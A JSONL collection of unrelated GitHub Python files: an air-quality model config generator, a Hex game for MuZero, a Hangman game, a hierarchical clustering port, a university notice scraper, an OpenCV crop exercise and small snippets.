{"seq_id":"26393097557","text":"#!/usr/bin/env python3\n\"\"\"\nFunction that creates the config file for running AQM.\n\"\"\"\n\nimport os\nimport sys\nimport argparse\nfrom textwrap import dedent\nimport tempfile\n\nfrom python_utils import (\n    import_vars,\n    print_input_args,\n    str_to_type,\n    print_info_msg,\n    cfg_to_yaml_str,\n    load_shell_config,\n    flatten_dict\n)\n\n# These come from ush/python_utils/workflow-tools\nfrom scripts.templater import set_template\n\ndef create_aqm_rc_file(cdate, run_dir, init_concentrations):\n    \"\"\" Creates an aqm.rc file in the specified run directory\n\n    Args:\n        cdate: cycle date\n        run_dir: run directory\n        init_concentrations\n    Returns:\n        Boolean\n    \"\"\"\n\n    print_input_args(locals())\n\n    #import all environment variables\n    import_vars()\n    #pylint: disable=undefined-variable\n\n    #\n    #-----------------------------------------------------------------------\n    #\n    # Create the aqm.rc file in the specified run directory.\n    #\n    #-----------------------------------------------------------------------\n    #\n    print_info_msg(f'''\n        Creating the aqm.rc file (\\\"{AQM_RC_FN}\\\") in the specified\n        run directory (run_dir):\n          run_dir = \\\"{run_dir}\\\"''', verbose=VERBOSE)\n    #\n    # Set output file path\n    #\n    aqm_rc_fp=os.path.join(run_dir, AQM_RC_FN)\n    #\n    # Extract from cdate the starting year, month, and day of the forecast.\n    #\n    yyyymmdd=cdate.strftime('%Y%m%d')\n    mm=f\"{cdate.month:02d}\" # pylint: disable=invalid-name\n    hh=f\"{cdate.hour:02d}\" # pylint: disable=invalid-name\n    #\n    # Set parameters in the aqm.rc file.\n    #\n    aqm_rc_bio_file_fp=os.path.join(DCOMINbio, AQM_BIO_FILE)\n\n    # Fire config\n    aqm_rc_fire_file_fp=os.path.join(\n        COMIN,\n        \"FIRE_EMISSION\",\n        f\"{AQM_FIRE_FILE_PREFIX}_{yyyymmdd}_t{hh}z{AQM_FIRE_FILE_SUFFIX}\"\n        )\n\n    # Dust config\n    aqm_rc_dust_file_fp=os.path.join(\n            DCOMINdust,\n            f\"{AQM_DUST_FILE_PREFIX}_{PREDEF_GRID_NAME}{AQM_DUST_FILE_SUFFIX}\",\n            )\n\n    # Canopy config\n    aqm_rc_canopy_file_fp=os.path.join(\n        DCOMINcanopy,\n        PREDEF_GRID_NAME,\n        f\"{AQM_CANOPY_FILE_PREFIX}.{mm}{AQM_CANOPY_FILE_SUFFIX}\",\n        )\n    #\n    #-----------------------------------------------------------------------\n    #\n    # Create a multiline variable that consists of a yaml-compliant string\n    # specifying the values that the jinja variables in the template\n    # AQM_RC_TMPL_FN file should be set to.\n    #\n    #-----------------------------------------------------------------------\n    #\n    settings = {\n        \"do_aqm_dust\": DO_AQM_DUST,\n        \"do_aqm_canopy\": DO_AQM_CANOPY,\n        \"do_aqm_product\": DO_AQM_PRODUCT,\n        \"ccpp_phys_suite\": CCPP_PHYS_SUITE,\n        \"aqm_config_dir\": AQM_CONFIG_DIR,\n        \"init_concentrations\": init_concentrations,\n        \"aqm_rc_bio_file_fp\": aqm_rc_bio_file_fp,\n        \"dcominbio\": DCOMINbio,\n        \"aqm_rc_fire_file_fp\": aqm_rc_fire_file_fp,\n        \"aqm_rc_fire_frequency\": AQM_RC_FIRE_FREQUENCY,\n        \"aqm_rc_dust_file_fp\": aqm_rc_dust_file_fp,\n        \"aqm_rc_canopy_file_fp\": aqm_rc_canopy_file_fp,\n        \"aqm_rc_product_fn\": AQM_RC_PRODUCT_FN,\n        \"aqm_rc_product_frequency\": AQM_RC_PRODUCT_FREQUENCY\n    }\n    settings_str = cfg_to_yaml_str(settings)\n\n    print_info_msg(\n        dedent(\n            f\"\"\"\n            The variable \\\"settings\\\" specifying values to be used in the \\\"{AQM_RC_FN}\\\"\n            file has been set as follows:\\n\n            settings =\\n\\n\"\"\"\n        )\n        + settings_str,\n        verbose=VERBOSE,\n    )\n    #\n    #-----------------------------------------------------------------------\n    #\n    # Call a python script to generate the experiment's actual AQM_RC_FN\n    # file from the template file.\n    #\n    #-----------------------------------------------------------------------\n    #\n    with tempfile.NamedTemporaryFile(\n            dir=\"./\",\n            mode=\"w+t\",\n            prefix=\"aqm_rc_settings\",\n            suffix=\".yaml\") as tmpfile:\n        tmpfile.write(settings_str)\n        tmpfile.seek(0)\n        set_template(\n            [\n                \"-q\",\n                \"-c\",\n                tmpfile.name,\n                \"-i\",\n                AQM_RC_TMPL_FP,\n                \"-o\",\n                aqm_rc_fp,\n            ]\n        )\n    return True\n\ndef parse_args(argv):\n    \"\"\" Parse command line arguments\"\"\"\n    parser = argparse.ArgumentParser(description=\"Creates aqm.rc file.\")\n\n    parser.add_argument(\"-r\", \"--run-dir\",\n                        dest=\"run_dir\",\n                        required=True,\n                        help=\"Run directory.\")\n\n    parser.add_argument(\"-c\", \"--cdate\",\n                        dest=\"cdate\",\n                        required=True,\n                        help=\"Date string in YYYYMMDD format.\")\n\n    parser.add_argument(\"-i\", \"--init_concentrations\",\n                        dest=\"init_concentrations\",\n                        required=True,\n                        help=\"Flag for initial concentrations.\")\n\n    parser.add_argument(\"-p\", \"--path-to-defns\",\n                        dest=\"path_to_defns\",\n                        required=True,\n                        help=\"Path to var_defns file.\")\n\n    return parser.parse_args(argv)\n\nif __name__ == \"__main__\":\n    args = parse_args(sys.argv[1:])\n    cfg = load_shell_config(args.path_to_defns)\n    cfg = flatten_dict(cfg)\n    import_vars(dictionary=cfg)\n    create_aqm_rc_file(\n        run_dir=args.run_dir,\n        cdate=str_to_type(args.cdate),\n        init_concentrations=str_to_type(args.init_concentrations),\n    )\n","repo_name":"ufs-community/ufs-srweather-app","sub_path":"ush/create_aqm_rc_file.py","file_name":"create_aqm_rc_file.py","file_ext":"py","file_size_in_byte":5626,"program_lang":"python","lang":"en","doc_type":"code","stars":48,"dataset":"github-code","pt":"47"}
{"seq_id":"17571124277","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndef wykresZestawienie( daneNBP, daneTrends ):\n    \"\"\"Zwraca notowania waluty dla danego roku\"\"\"\n\n    fig = plt.figure()\n    ax1 = fig.add_subplot(111)\n    print( daneNBP.head() )\n    print( daneTrends.head() )\n    ax1.plot( x = daneTrends.index.values, y= daneTrends[ 'Średnia'] )\n    ax1.plot( x=daneNBP.index.values, y=daneNBP[ 'usd' ] )\n    ax1.legend()\n    plt.xlabel(\"Data\")\n    fig.savefig('zestawienie', dpi=None, facecolor='w', edgecolor='w',\\\n                orientation='portrait', papertype='a4', format=None,\\\n                transparent=False, bbox_inches=None, pad_inches=0.1,\\\n                metadata=None)","repo_name":"Woocheck/Python_excercise","sub_path":"analyse/zestawienie.py","file_name":"zestawienie.py","file_ext":"py","file_size_in_byte":695,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"17247275030","text":"def run_test():\n    colors = [\"black\", \"white\"]\n    sizes = [\"S\", \"M\", \"L\"]\n\n    tshirts = [(c, s) for c in colors for s in sizes]\n    # print(tshirts)\n\n    # generator expression\n    for a in (f\"color:{c}; size:{s}\" for c in colors for s in sizes):\n        print(a)\n\n\nif __name__ == \"__main__\":\n    run_test()\n","repo_name":"chhenning/python_tutorial","sub_path":"snippets/src/list_comp.py","file_name":"list_comp.py","file_ext":"py","file_size_in_byte":311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"28748531426","text":"import collections\nimport datetime\nimport itertools\nimport math\nimport os\n\nimport numpy as np\nimport torch\n\nfrom .abstract_game import AbstractGame\n\n\nclass MuZeroConfig:\n    def __init__(self):\n        # 这里有更多信息: https://github.com/werner-duvaud/muzero-general/wiki/Hyperparameter-Optimization\n\n        self.seed = 0  # numpy、torch和游戏的种子\n        self.max_num_gpus = None  # 确定要使用的最大GPU数。如果有足够的显存，使用单个GPU（将其设置为1）通常会更快。None会使用所有可用的GPU\n\n\n        ### 游戏\n        self.observation_shape = (3, 11, 11)  # 游戏观察的尺寸必须为3（通道、高度、宽度）。对于1D数组，请将其形状改为（1，1，数组长度）\n        self.action_space = list(range(11 * 11))  # 所有可能动作的固定列表。您应该只编辑长度\n        self.players = list(range(2))  # 玩家的列表。您应该只编辑长度\n        self.stacked_observations = 0  # 要添加到 当前观察 的 先前观察 和 先前动作 的数量\n\n        # 评估\n        self.muzero_player = 0  # Muzero 玩游戏的先后手（0:Muzero 先手，1:Muzero 后手）\n        self.opponent = \"random\"  # MuZero 对战的硬编码智能体，以评估他在多人游戏中的进展。它不影响训练。如果在游戏类中实现，分为 None, \"random\" or \"expert\"\n\n        ### 自博弈\n        self.num_workers = 1  # 给回放池提供数据的并发自博弈 工作进程/线程 数目\n        self.selfplay_on_gpu = False\n        self.max_moves = 121  # 如果游戏未在之前完成，则能移动的最大数量\n        self.num_simulations = 300  # 自模拟的未来移动次数（MCTS对当前根结点展开模拟的次数）\n        self.discount = 1  # 按时间顺序排列的奖励折扣\n        self.temperature_threshold = None  # 将 visit_softmax_temperature_fn 给出的温度降至0（即选择最佳动作）之前的移动次数。如果是 None，visit_softmax_temperature_fn 每次都会被用到\n\n        # 根先验探索噪声\n        self.root_dirichlet_alpha = 0.3  # 狄利克雷分布的α参数\n        self.root_exploration_fraction = 0.25  # 噪声所占的比例\n\n        # UCB 公式\n        self.pb_c_base = 19652\n        self.pb_c_init = 1.25\n\n\n\n        ### 神经网络\n        self.network = \"resnet\"  # \"resnet\" 或 \"fullyconnected\"\n        self.support_size = 10  # 价值和奖励被缩放（几乎都是用sqrt）并编码在一个向量上，向量的范围为-support_size到support_size。选择它以便使 support_size <= sqrt(max(abs(discounted reward)))\n        \n        # 残差网络\n        self.downsample = False  # 表示网络 前的下采样观测值, False / \"CNN\" (更轻量级的) / \"resnet\" (见论文附录网络架构)\n        self.blocks = 3  # ResNet中的块数\n        self.channels = 64  # ResNet中的通道数\n        self.reduced_channels_reward = 2  # 奖励头 中的通道数\n        self.reduced_channels_value = 2  # 价值头 中的通道数\n        self.reduced_channels_policy = 4  # 策略头 中的通道数\n        self.resnet_fc_reward_layers = [32]  # 在 动态网络 的 奖励头 中定义隐藏层\n        self.resnet_fc_value_layers = [32]  # 在 预测网络 的 价值头 中定义隐藏层\n        self.resnet_fc_policy_layers = [32]  # 在 预测网络 的 策略头 中定义隐藏层\n        \n        # 全连接神经网络\n        self.encoding_size = 32\n        self.fc_representation_layers = []  # 定义 表示网络 中的隐藏层\n        self.fc_dynamics_layers = [64]  # 定义 动态网络 中的隐藏层\n        self.fc_reward_layers = [64]  # 定义 奖励网络 中的隐藏层\n        self.fc_value_layers = []  # 定义 价值网络 中的隐藏层\n        self.fc_policy_layers = []  # 定义 策略网络 中的隐藏层\n\n\n\n        ### 训练\n        self.results_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"../results\", os.path.basename(__file__)[:-3], datetime.datetime.now().strftime(\"%Y-%m-%d--%H-%M-%S\"))  # 存储 模型权重 和 Tensorboard 日志的路径\n        self.save_model = True  # 将 results_path 中的检查点另存为 model.checkpoint\n        self.training_steps = 2000  # 训练步总数（即根据批次更新权重）\n        self.batch_size = 64  # 在每个训练步中 训练的游戏片段 的数量\n        self.checkpoint_interval = 5  # 保存模型的训练步间隔\n        self.value_loss_weight = 1  # 缩放价值损失以避免价值函数的过拟合，论文建议为0.25（见论文附录 重新分析）\n        self.train_on_gpu = torch.cuda.is_available()  # 在GPU上训练（如果可用）\n\n        self.optimizer = \"Adam\"  # \"Adam\" or \"SGD\". 论文中使用 SGD\n        self.weight_decay = 1e-4  # L2权重正则化\n        self.momentum = 0.9  # 仅当优化器为SGD时使用\n\n        # 指数学习速率调度器\n        self.lr_init = 0.002  # 初始学习率\n        self.lr_decay_rate = 0.9  # 将其设置为1以使用恒定的学习速率\n        self.lr_decay_steps = self.training_steps\n\n\n\n        ### 回放池\n        self.replay_buffer_size = 10000  # 要保留在回放池中的自博弈游戏盘数\n        self.num_unroll_steps = 121  # 每盘游戏为批元素保留的游戏移动数（移动为样本的单位），即论文中的“展开的K假设步”\n        self.td_steps = 121  # 计算 目标价值 时要考虑的未来步数，即论文中的“n-step前瞻的n”\n        self.PER = True  # 优先回放（见论文附录 训练），优先选择回放池中网络意外的元素\n        self.PER_alpha = 0.5  # 使用多少优先级，0对应于uniform分布的情况，论文建议1\n\n        # 重新分析（见论文附录 重新分析）\n        self.use_last_model_value = False  # 使用最后一个模型提供更新鲜、稳定的 n-step 价值（见论文附录 重新分析）\n        self.reanalyse_on_gpu = False\n\n\n\n        ### 调整 自博弈/训练 比率，以避免 过拟合/欠拟合\n        self.self_play_delay = 0  # 每次玩一盘游戏后等待的秒数\n        self.training_delay = 0  # 每个训练步后等待的秒数\n        self.ratio = 1 / 50  # 每个 自博弈步 的 期望训练步 比率。与同步版本等效，训练可能需要更长的时间。设置为“None”以禁用它\n\n\n    def visit_softmax_temperature_fn(self, trained_steps):\n        \"\"\"\n        更改 访问次数分布 的参数——确保随着训练的进行，动作选择变得更加贪婪。越小，越有可能选择最佳行动（即访问次数最多）。\n\n        Returns:\n            Positive float.\n        \"\"\"\n        if trained_steps < 0.5 * self.training_steps:\n            return 1.0\n        elif trained_steps < 0.75 * self.training_steps:\n            return 0.5\n        else:\n            return 0.25\n\n\nclass Game(AbstractGame):\n    \"\"\"\n    游戏装饰器\n    \"\"\"\n\n    def __init__(self, seed=None):\n        self.env = Hex()\n\n    def step(self, action):\n        \"\"\"\n        在游戏中执行一个动作\n        \n        Args:\n            action : 要采取的 动作空间 中的 动作。\n\n        Returns:\n            新的观察、奖励和（标记游戏是否结束）布尔值。\n        \"\"\"\n        observation, reward, done = self.env.step(action)\n        return observation, reward, done\n\n    def to_play(self):\n        \"\"\"\n        返回当前的玩家\n\n        Returns:\n            当前玩家，它应该是配置中玩家列表的一个元素\n        \"\"\"\n        return self.env.to_play()\n\n    def legal_actions(self):\n        \"\"\"\n        应在每个回合返回合法动作，如果不可用，可返回整个动作空间。在每个回合，游戏必须能够处理一个返回的动作。\n        对于计算合法动作太长的复杂游戏，其想法是将合法动作定义为整个动作空间，但如果动作非法，则返回负奖励。\n\n        Returns:\n            An array of integers，动作空间的子集\n        \"\"\"\n        return self.env.legal_actions()\n\n    def reset(self):\n        \"\"\"\n        为新游戏重置游戏\n        \n        Returns:\n            游戏的初始化观察\n        \"\"\"\n        return self.env.reset()\n\n    def close(self):\n        \"\"\"\n        正确地结束游戏\n        \"\"\"\n        pass\n\n    def render(self):\n        \"\"\"\n        可视化（渲染）游戏观察\n        \"\"\"\n        self.env.render()\n        # input(\"Press enter to take a step \")\n\n    def human_to_action(self):\n        \"\"\"\n        对于多人游戏，要求用户采取合法动作并返回相应的动作编号\n\n        Returns:\n            An integer from the action space.\n        \"\"\"\n        valid = False\n        while not valid:\n            valid, action = self.env.human_input_to_action()\n        return action\n\n    def action_to_string(self, action):\n        \"\"\"\n        将动作编号转换为表示该动作的字符串\n        Args:\n            action_number: an integer from the action space.\n        Returns:\n            表示该动作的 字符串\n        \"\"\"\n        return self.env.action_to_human_input(action)\n\n\nclass Hex:\n    def __init__(self):\n        self.board_size = 11\n        self.board = np.zeros((self.board_size, self.board_size), dtype=\"int32\")\n        self.player = 1  # 红棋为1，蓝棋为-1\n        self._directions = [(-1, 0), (0, -1), (1, -1), (1, 0), (0, 1), (-1, 1)]\n        self.column_markers = [\n            chr(x) for x in range(ord(\"A\"), ord(\"A\") + self.board_size)\n        ]\n        self.row_markers = [\n            str(x) for x in range(1, self.board_size + 1)\n        ]\n\n    def to_play(self):\n        return 0 if self.player == 1 else 1  # 先手返回0，后手返回1\n\n    def reset(self):\n        self.board = np.zeros((self.board_size, self.board_size), dtype=\"int32\")\n        self.player = 1\n        return self.get_observation()\n\n    def step(self, action):\n        x = math.floor(action / self.board_size)\n        y = action % self.board_size\n        self.board[x][y] = self.player\n\n        done = self.is_finished()\n\n        reward = 1 if done else 0  # 当前玩家获胜，奖励为1   R(St)对应Player(St-1)\n\n        self.player *= -1\n\n        return self.get_observation(), reward, done\n\n    def get_observation(self):\n        board_player1 = np.where(self.board == 1, 1.0, 0.0)\n        board_player2 = np.where(self.board == -1, 1.0, 0.0)\n        board_to_play = np.full((11, 11), self.player, dtype=\"int32\")\n        return np.array([board_player1, board_player2, board_to_play])  # 3, 11, 11\n\n    def legal_actions(self):\n        legal = []\n        for i in range(self.board_size):\n            for j in range(self.board_size):\n                if self.board[i][j] == 0:\n                    legal.append(i * self.board_size + j)\n        return legal\n\n    def is_finished(self):\n        for j in range(self.board_size):\n            if self.is_connected((0, j), 1):\n                return True\n        for i in range(self.board_size):\n            if self.is_connected((i, 0), -1):\n                return True\n        return False  # 游戏未结束\n\n    def is_connected(self, root, color):\n        \"\"\"判断从上到下或者从左到右是否形成完整的连接，若是则返回True，否则返回False\"\"\"\n        if self.board[root] != color:\n            return False\n        visited, queue = {root}, collections.deque([root])\n        while queue:\n            pos = queue.popleft()\n            for neighbor in self.get_neighbors(pos, color):\n                if neighbor not in visited:\n                    if (color == 1 and neighbor[0] == self.board_size - 1) or (\n                            color == -1 and neighbor[1] == self.board_size - 1):\n                        return True\n                    visited.add(neighbor)\n                    queue.append(neighbor)\n        return False\n\n    def get_neighbors(self, pos, color):\n        \"\"\"返回一个包含所有同颜色邻居的列表\"\"\"\n        x, y = pos\n        neighbors = []\n        for x_offset, y_offset in self._directions:\n            nx, ny = (x + x_offset, y + y_offset)\n            if self.is_valid_pos(nx, ny):\n                if self.board[(nx, ny)] == color:\n                    neighbors.append((nx, ny))\n        return neighbors\n\n    def is_valid_pos(self, i, j):\n        if i < 0 or j < 0 or i >= self.board_size or j >= self.board_size:\n            return False\n        return True\n\n    def render(self):\n        pretty_print_map = {\n            1: '\\x1b[0;36;41mR  ',\n            0: '\\x1b[0;31;43m-  ',\n            -1: '\\x1b[0;31;46mB  ',\n        }\n        board = np.copy(self.board)\n        # 原始棋盘内容\n        raw_board_contents = []\n        for i in range(self.board_size):\n            row = []\n            for j in range(self.board_size):\n                row.append(pretty_print_map[board[i, j]])\n                row.append('\\x1b[0m')\n            raw_board_contents.append(''.join(row))\n        # 行标签 N~1\n        row_labels_left = [\" \" * (self.board_size - i) + '%2d' % i + \"\\\\\" for i in\n                           range(self.board_size, 0, -1)]\n        row_labels_right = [\"\\\\ \" + '%2d' % i for i in range(self.board_size, 0, -1)]\n        # 带标注的每一行的内容\n        annotated_board_contents = [''.join(r) for r in zip(row_labels_left, raw_board_contents, row_labels_right)]\n        # 列标签\n        header_footer_rows = ['   ' + '  '.join('ABCDEFGHIJK'[:self.board_size]) + '   ']\n        tailer_footer_rows = [\"   \" + \" \" * (self.board_size) + '  '.join(\n            'ABCDEFGHIJK'[:self.board_size]) + '   ']\n        # 带标注的棋盘\n        # itertools.chain将不同容器中的元素连接起来，便于遍历\n        annotated_board = '\\n'.join(itertools.chain(header_footer_rows, annotated_board_contents, tailer_footer_rows))\n        print(annotated_board)\n\n    def human_input_to_action(self):\n        human_input = input(\"Enter an action: \")\n        if (\n            len(human_input) == 2\n            and human_input[0] in self.column_markers\n            and human_input[1:] in self.row_markers\n        ):\n            y = ord(human_input[0]) - 65\n            x = self.board_size - int(human_input[1:])\n            if self.board[x][y] == 0:\n                return True, x * self.board_size + y\n        return False, -1\n\n    def action_to_human_input(self, action):\n        x = math.floor(action / self.board_size)\n        y = action % self.board_size\n        x = str(self.board_size - x)\n        y = chr(y + 65)\n        return y + x\n","repo_name":"lilmortyj/MuZero-CN","sub_path":"games/hex.py","file_name":"hex.py","file_ext":"py","file_size_in_byte":14531,"program_lang":"python","lang":"zh","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"}
{"seq_id":"5060840807","text":"# importing needed Frameworks\nimport eel\n\n\n# initializing EEL \neel.init('ui')\n\n\nclass Game:\n\n\n    # initialsing the Game-Variables\n    def __init__(self):\n\n        self.is_running = False     # to check if the Game is running or not\n        self.word = \"\"              # setting the Word (default= Empty) like: \"secret\"\n        self.hint = \"\"              # used to show the Word with * like: s*cr*t\n        self.letters = \"\"           # list of all used Letters like: ['s','c', 'r', 't', 'o', 'z']\n        self.guessed = []           # Array of guessed Word like: ['s', '*', 'c', 'r', '*', 't']\n        self.mistakes = 0           # counts the wrong guessed Letters\n        self.score = 0              # will be calculated based on speed and wrong guesses\n\n\n# just some Lines of testing Stuff\n# ##### #\ngame = Game()\n# ##### #\n\n\n# starting the Game\n@eel.expose\ndef start(self=game):\n    self.is_running = True\n\n\n# stopping the Game\n@eel.expose\ndef stop(self=game):\n    self.is_running = False\n\n\n# Guessing a Letter\n@eel.expose\ndef guess(letter, self=game):\n\n    # if the Letter is not in the Word add 1 to the mistakes\n    if letter.lower() not in self.word.lower():\n        self.mistakes += 1\n\n    # checking each Letter in the Word if it's the guessed Letter\n    for i in range(len(self.word)):\n\n        if self.word[i].lower() == letter.lower():\n            self.guessed[i] = letter.lower()\n\n    # clearing the Hint\n    self.hint = \"\"\n    print(letter)\n\n    # filling the Hint with all guessed Letters\n    for i in self.guessed:\n        self.hint += i\n\n    if '_' not in self.guessed:\n        stop()\n\n\n# setting the Word\n@eel.expose\ndef set_word(word, self=game):\n\n    self.word = word\n    self.hint = \"\"\n    self.guessed = []\n    start()\n\n    # creating an Array with * for each Letter\n    for i in self.word:\n        if i == ' ':\n            self.guessed.append(' ')\n        else:\n            self.guessed.append('_')\n\n    \n    # clearing the Hint\n    self.hint = \"\"\n\n    # filling the Hint with all guessed Letters\n    for i in self.guessed:\n        self.hint += i\n\n\n# return Hint with guessed Letters\n@eel.expose\ndef get_hidden_word(self=game):\n    return self.hint\n\n@eel.expose\ndef gen_btns():\n\n    btns = \"\"\n    letters = [\"A\", \"B\", \"C\", \"D\", \"E\", \"F\", \"G\", \"H\", \"I\", \"J\", \"K\", \"L\", \"M\", \"N\", \"O\", \"P\", \"Q\", \"R\", \"S\", \"T\", \"U\", \"V\", \"W\", \"X\", \"Y\", \"Z\"]\n\n    for letter in letters:\n        btns += f'<button type=\"button\" name=\"bnt_word\" class=\"send_guess\" onclick=\"set_guess(\\'{letter}\\')\">{letter}</button>'\n\n    return btns\n\n# starting EEL\neel.start('index.html')","repo_name":"MeckeDev/Hangman","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"8579589312","text":"import numpy as np\nimport warnings\nfrom mclust.exceptions import ModelError, AbstractMethodError\nfrom mclust.fortran.mclust import hcvvv, hceii\nfrom mclust.utility import traceW, partconv, scale\n\n\nclass HC:\n    \"\"\"\n    Agglomerative hierarchical clustering based on maximum likelihood criteria\n    for Gaussian mixture models parameterized by eigenvalue decomposition.\n    \"\"\"\n    def __init__(self, data):\n        self.data = data.copy(order='F')\n        self.pairs = None\n        self.partition = None\n        self.n = None\n        self.p = None\n        self.l = None\n        self.m = None\n        pass\n\n    def fit(self, minclus=1):\n        # For now only Mclust default: SVD\n        # all values should be finite\n        data_scaled = scale(self.data, center=True, rescale=True)\n        p = min(data_scaled.shape)\n        _, d, v = np.linalg.svd(data_scaled, full_matrices=False)\n        z = data_scaled \\\n            .dot(v.transpose()) \\\n            .dot(np.diag(np.concatenate((1/np.sqrt(d),\n                                         np.zeros(p-len(d)))))\n                 )\n        z = np.asfortranarray(z)\n        self._handle_input(minclus)\n        self.hc_fortran(z)\n\n    def _handle_input(self, minclus=1):\n        if minclus < 1:\n            raise ModelError(\"minclus must be positive\")\n        if np.any(np.equal(self.data, None)):\n            raise ModelError(\"Missing values not allowed in data\")\n\n        self.n, self.p = self.data.shape\n        if self.n <= self.p:\n            warnings.warn(\"Number of observations <= data dimension\")\n\n        if self.partition is None:\n            self.partition = np.arange(1, self.n+1)\n        elif len(self.partition) != self.n:\n            raise ModelError(\"Partition must assign a class to each observation\")\n        self.partition = partconv(self.partition, consec=True)\n        self.l = np.array(len(np.unique(self.partition)), int, order='F')\n        self.m = np.array(self.l - minclus, int, order='F')\n        if self.m <= 0:\n            raise ModelError(\"initial number of clusters is not greater than minclus\")\n\n    def hc_fortran(self, z):\n        raise AbstractMethodError()\n\n    def get_class_matrix(self, g):\n        \"\"\"\n        Determines the classifications corresponding to different numbers of\n        groups given merge pairs from hierarchical agglomeration.\n\n        :param g: vector of integers giving the number of clusters for which\n        the corresponding classifications are wanted.\n        :return: A matrix with length(g) columns, each column corresponding to\n                 a classification. Columns are indexed by the character\n                 representation of the integers in g.\n        \"\"\"\n        n = len(self.partition)\n        k = len(np.unique(self.partition))\n        g = np.sort(g)[::-1]\n        select = k - g\n        if len(select) == 1 and select[0] == 0:\n            return self.partition.reshape(n, 1)\n        bad = np.logical_or(select < 0, select >= k)\n        if all(bad):\n            raise ModelError(\"No classification with the specified number of clusters\")\n        if any(bad):\n            warnings.warn(\"Some selected classifications are inconsistent with mclust objects\")\n\n        l = len(select)\n        cl = np.full((n, l), float('nan'), float, order='F')\n        m = 0\n        if select[0] == 0:\n            cl[:, 0] = self.partition\n            m = 1\n        for li in range(max(select)):\n            ij = self.pairs[:, li]\n            i = min(ij)\n            j = max(ij)\n            self.partition[self.partition == j] = i\n            if select[m] == li + 1:\n                cl[:, m] = self.partition\n                m = m + 1\n\n        return np.apply_along_axis(partconv, 0, cl[:, range(l-1, -1, -1)])\n\n\nclass HCVVV(HC):\n    def hc_fortran(self, z, alpha=1, beta=1):\n        ll = int((self.l * (self.l-1))/2)\n        ld = np.array(max(self.n, ll + 1, 3 * self.m))\n        alpha = np.array(max(alpha * traceW(z / np.sqrt(self.n * self.p)), np.finfo(float).eps), float, order='F')\n        beta = np.array(beta, float, order='F')\n        data_stacked = np.column_stack((z, np.zeros(self.n)))\n        v = np.zeros(self.p, float, order='F')\n        u = np.zeros(self.p * self.p, float).reshape(self.p, self.p, order='F')\n        s = np.zeros(self.p * self.p, float).reshape(self.p, self.p, order='F')\n        r = np.zeros(self.p * self.p, float).reshape(self.p, self.p, order='F')\n        d = np.zeros(ld, order='F')\n        hcvvv(data_stacked,\n              self.partition,\n              self.l,\n              self.m,\n              alpha,\n              beta,\n              v,\n              u,\n              s,\n              r,\n              ld,\n              d\n              )\n        self.pairs = data_stacked[0:self.m, 0:2].transpose()\n\n\nclass HCEII(HC):\n    def hc_fortran(self, z):\n        ld = np.array(max((self.l * (self.l - 1))/2, 3 * self.m), int, order='F')\n        v = np.zeros(self.p, float, order='F')\n        d = np.zeros(ld, float, order='F')\n        hceii(z,\n              np.array(self.p, int, order='F'),\n              self.partition,\n              self.l,\n              self.m,\n              v,\n              ld,\n              d\n              )\n        self.pairs = z[0:self.m, 0:2].transpose()\n","repo_name":"jorisveens/mclust","sub_path":"mclust/hierarchical_clustering.py","file_name":"hierarchical_clustering.py","file_ext":"py","file_size_in_byte":5227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"21251657509","text":"# -*- coding:utf-8 -*-\r\n# -*- coding: euc-kr -*-\r\nfrom urllib.request import urlopen\r\nfrom bs4 import BeautifulSoup\r\n\r\nhtml = urlopen(\"http://cs.hanyang.ac.kr/board/info_board.php\")\r\nsource = \"http://cs.hanyang.ac.kr/board/info_board.php\"\r\nsoup = BeautifulSoup(html, \"html.parser\")\r\nresults = soup.find_all('td', {'class': 'left'})\r\n\r\nfor result in results:\r\n    text = result.find('a').get_text()\r\n    link = result.find('a')['href']\r\n\r\n    if link.find(\"http\") == -1:\r\n        try:\r\n            print((\"Notice : \" + text + \" / Link : \" + source + link))\r\n        except:\r\n            print((\"Notice : \" + link + \" / Link : \" + link))\r\n    else:\r\n        try:\r\n            print((\"Notice : \" + text + \" / Link : \" + link))\r\n        except:\r\n            print(\"error\")\r\n","repo_name":"HyOsori/HungryOsori-PushServer","sub_path":"Osori-WebCrawler/hanyang_university_cs_notice.py","file_name":"hanyang_university_cs_notice.py","file_ext":"py","file_size_in_byte":770,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"47"}
{"seq_id":"38703411739","text":"\n# coding: utf-8\n\n# # Practico 4 - Manipulación de imágenes\n# \n# Escribir un programa que permita seleccionar un rectángulo de una imagen, luego:\n# \n# * con la letra “g” guarda la imagen dentro del rectángulo en el disco,\n# * con la letra “r” restaura la imagen original y permite realizar nuevamente la selección,\n# * con la “q” finaliza.\n\n# In[59]:\n\n\nimport cv2\nimport numpy as np\n\n\n# In[60]:\n\n\ndrawing = False # true if mouse is pressed\nix, iy = -1, -1\nfx, fx = -1, -1\n\n\n# In[61]:\n\n\ndef crop_rectangle(event, x, y, flags, param):\n    global ix, iy, fx, fy, drawing\n    if event == cv2.EVENT_LBUTTONDOWN:\n        drawing = True\n        ix, iy = x, y\n    elif event == cv2.EVENT_MOUSEMOVE:\n        if drawing is True:            \n            fx, fy = x, y\n    elif event == cv2.EVENT_LBUTTONUP:\n        drawing = False\n        cv2.rectangle(img, (ix, iy), (fx, fy), (0, 255, 0) , 1)\n\n\n# In[62]:\n\n\nimg = cv2.imread('../practico2/hojas.png', 1)\naux_img = img.copy()\ncv2.namedWindow('image')\ncv2.setMouseCallback('image', crop_rectangle)\n\nwhile(1):\n    cv2.imshow('image', img)\n    k = cv2.waitKey(1) & 0xFF\n    if k == ord('g'):\n        crop_img = img[iy:fy, ix:fx]\n        cv2.imwrite('recorte.png', crop_img)\n        break\n    elif k == ord('r'):\n        img = aux_img.copy()\n    elif k == ord('q'):\n        break\ncv2.destroyAllWindows()\n\n","repo_name":"juliangiletta/vision2020","sub_path":"practicos/practico4/practico4-julian.py","file_name":"practico4-julian.py","file_ext":"py","file_size_in_byte":1357,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
